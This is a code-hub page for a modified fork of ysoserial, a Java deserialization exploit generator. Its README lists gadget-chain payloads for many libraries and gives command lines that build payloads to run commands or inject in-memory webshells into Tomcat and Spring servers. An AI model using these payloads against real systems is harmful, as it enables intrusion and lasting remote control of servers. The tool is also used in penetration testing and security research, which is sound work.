hub / github.com/Y4er/ysoserial

github.com/Y4er/ysoserial @main

Chat with this repo

repository ↗ · DeepWiki ↗ · + Follow

565 symbols 1,503 edges 104 files ⚖ MIT 41 documented · 7% ● updated 3mo agolatest · 2026-05-26★ 778

Browse by type

⨍ Functions 435◇ Types & classes 130

What it actually does AI analysis from the code graph — generated when you open this

loading…

README

ysoserial

ysoserial修改版，着重修改ysoserial.payloads.util.Gadgets.createTemplatesImpl使其可以通过引入自定义class的形式来执行命令、内存马、反序列化回显。

Usage

$  java -jar ysoserial-0.0.6-SNAPSHOT-all.jar
Y SO SERIAL?
Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
  Available payload types:
一月 11, 2024 10:44:47 上午 org.reflections.Reflections scan
信息: Reflections took 96 ms to scan 1 urls, producing 22 keys and 208 values
     Payload                                Authors                                Dependencies
     -------                                -------                                ------------
     AspectJWeaver                          @Jang                                  aspectjweaver:1.9.2, commons-collections:3.2.2
     BeanShell1                             @pwntester, @cschneider4711            bsh:2.0b5
     C3P0                                   @mbechler                              c3p0:0.9.5.2, mchange-commons-java:0.2.11
     Ceylon                                 @kai_ullrich                           ceylon.language:1.3.3
     Click1                                 @artsploit                             click-nodeps:2.3.0, javax.servlet-api:3.1.0
     Clojure                                @JackOfMostTrades                      clojure:1.8.0
     CommonsBeanutils1                      @frohoff                               commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     CommonsBeanutils183NOCC                @Y4er                                  commons-beanutils:1.8.3
     CommonsBeanutils192NOCC                @Y4er                                  commons-beanutils:1.9.2
     CommonsBeanutils192WithDualTreeBidiMap @Y4er                                  commons-beanutils:1.9.2, commons-collections:3.1
     CommonsCollections1                    @frohoff                               commons-collections:3.1
     CommonsCollections12                   @Y4er                                  commons-collections:3.1
     CommonsCollections2                    @frohoff                               commons-collections4:4.0
     CommonsCollections3                    @frohoff                               commons-collections:3.1
     CommonsCollections4                    @frohoff                               commons-collections4:4.0
     CommonsCollections5                    @matthias_kaiser, @jasinner            commons-collections:3.1
     CommonsCollections6                    @matthias_kaiser                       commons-collections:3.1
     CommonsCollections7                    @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
     CommonsCollections8                    @navalorenzo                           commons-collections4:4.0
     Fastjson1                              @Y4er                                  fastjson:1.2.83
     Fastjson2                              @Y4er                                  fastjson:2.x
     FileUpload1                            @mbechler                              commons-fileupload:1.3.1, commons-io:2.4
     Groovy1                                @frohoff                               groovy:2.3.9
     Hibernate1                             @mbechler
     Hibernate2                             @mbechler
     JBossInterceptors1                     @matthias_kaiser                       javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     JRMPClient                             @mbechler
     JRMPListener                           @mbechler
     JSON1                                  @mbechler                              json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     Jackson1                               @Y4er                                  jackson-databind:2.14.2
     Jackson2                               @Y4er                                  jackson-databind:2.14.2, spring-aop:4.1.4.RELEASE
     JavassistWeld1                         @matthias_kaiser                       javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     Jdk7u21                                @frohoff
     Jython1                                @pwntester, @cschneider4711            jython-standalone:2.5.2
     Jython2                                @steven_seeley, @rocco_calvi           jython-standalone:2.7.3
     MozillaRhino1                          @matthias_kaiser                       js:1.7R2
     MozillaRhino2                          @_tint0                                js:1.7R2
     Myfaces1                               @mbechler
     Myfaces2                               @mbechler
     ROME                                   @mbechler                              rome:1.0
     Spring1                                @frohoff                               spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
     Spring2                                @mbechler                              spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
     URLDNS                                 @gebl
     Vaadin1                                @kai_ullrich                           vaadin-server:7.7.14, vaadin-shared:7.7.14
     Wicket1                                @jacob-baines                          wicket-util:6.23.0, slf4j-api:1.6.4

内存马相关

以CommonsBeanutils192NOCC为例：

java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:TomcatCmdEcho"                     # TomcatCmdEcho
java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:TomcatServletMemShellFromJMX"      # TomcatServletMemShellFromJMX
java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:TomcatServletMemShellFromThread"   # TomcatServletMemShellFromThread
java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:TomcatFilterMemShellFromJMX"       # TomcatFilterMemShellFromJMX     适用于tomcat7-9
java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:TomcatFilterMemShellFromThread"    # TomcatFilterMemShellFromThread  适用于tomcat7-9
java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:TomcatListenerMemShellFromJMX"     # TomcatListenerMemShellFromJMX
java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:TomcatListenerMemShellFromThread"  # TomcatListenerMemShellFromThread
java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:TomcatListenerNeoRegFromThread"    # TomcatListenerNeoRegFromThread     python neoreg.py -k fuckyou
java -jar ysoserial.jar CommonsBeanutils192NOCC "CLASS:SpringInterceptorMemShell"         # SpringInterceptorMemShell       链接shell需要使用存在的路由
java -jar ysoserial.jar CommonsBeanutils192NOCC "FILE:E:\Calc.class"                      # ClassLoaderTemplate
java -jar ysoserial.jar CommonsBeanutils192NOCC "calc"                                    # CommandTemplate                 CLASS: FILE: 不使用协议开头则默认为执行cmd

一键注入cmdshell、冰蝎、哥斯拉内存马，shell连接使用请查看指定类。解决了request和response包装类导致冰蝎链接失败的问题，见issue。

以下受到Gadgets.createTemplatesImpl影响的gadget均需要如上方式传递参数：

Click1
CommonsBeanutils1
CommonsBeanutils183NOCC
CommonsBeanutils192NOCC
CommonsCollections2
CommonsCollections3
CommonsCollections4
Hibernate1
JavassistWeld1
JBossInterceptors1
Jdk7u21
JSON1
MozillaRhino1
MozillaRhino2
ROME
Spring1
Spring2
Vaadin1

下载

点我下载打包好的jar包

Building

Requires Java 1.7+ and Maven 3.x+

mvn clean package -DskipTests

Contributing

Fork it
Create your feature branch (git checkout -b my-new-feature)
Commit your changes (git commit -am 'Add some feature')
Push to the branch (git push origin my-new-feature)
Create new Pull Request

Extension points exported contracts — how you extend this code

CustomTest (Interface)

@author mbechler [8 implementers]

src/test/java/ysoserial/test/CustomTest.java

DynamicDependencies (Interface)

@author mbechler [4 implementers]

src/main/java/ysoserial/payloads/DynamicDependencies.java

CustomPayloadArgs (Interface)

@author mbechler [5 implementers]

src/test/java/ysoserial/test/CustomPayloadArgs.java

ObjectPayload (Interface)

(no doc) [47 implementers]

src/main/java/ysoserial/payloads/ObjectPayload.java

WrappedTest (Interface)

@author mbechler [4 implementers]

src/test/java/ysoserial/test/WrappedTest.java

ReleaseableObjectPayload (Interface)

@author mbechler [2 implementers]

src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java

browse all types & interfaces →

Core symbols most depended-on inside this repo

↓ 62 filesReflections

src/main/java/ysoserial/payloads/util/Reflections.java

↓ 55 filesObjectPayload

src/main/java/ysoserial/payloads/ObjectPayload.java

↓ 45 filesPayloadRunner

src/main/java/ysoserial/payloads/util/PayloadRunner.java

↓ 29 filesGadgets

src/main/java/ysoserial/payloads/util/Gadgets.java

↓ 14 filesJavaVersion

@author mbechler

src/main/java/ysoserial/payloads/util/JavaVersion.java

↓ 12 filesUtils

src/main/java/ysoserial/payloads/ObjectPayload.java

browse all functions →

Shape

Method 435

Class 120

Interface 8

Enum 2

Languages

Java100%

Modules by API surface

src/main/java/ysoserial/secmgr/DelegateSecurityManager.java30 symbols

src/main/java/ysoserial/exploit/JBoss.java28 symbols

src/test/java/ysoserial/test/payloads/PayloadsTest.java21 symbols

src/test/java/ysoserial/test/payloads/MyfacesTest.java18 symbols

src/test/java/ysoserial/test/payloads/RemoteClassLoadingTest.java15 symbols

src/main/java/ysoserial/secmgr/ExecCheckingSecurityManager.java12 symbols

src/main/java/ysoserial/payloads/C3P0.java12 symbols

src/test/java/ysoserial/test/payloads/TestHarnessTest.java11 symbols

src/main/java/ysoserial/payloads/templates/TomcatServletMemShellFromThread.java11 symbols

src/main/java/ysoserial/payloads/templates/TomcatServletMemShellFromJMX.java11 symbols

src/main/java/ysoserial/payloads/Hibernate1.java11 symbols

src/main/java/ysoserial/exploit/JRMPListener.java11 symbols

For agents

$ claude mcp add ysoserial \
  -- python -m otcore.mcp_server <graph>

⬇ download graph artifact

github.com/Y4er/ysoserial @main

ysoserial

Usage

内存马相关

下载

Building

Contributing

See Also

Extension points exported contracts — how you extend this code

Core symbols most depended-on inside this repo

Shape

Languages

Modules by API surface

For agents

Ask about this repo answers extend the page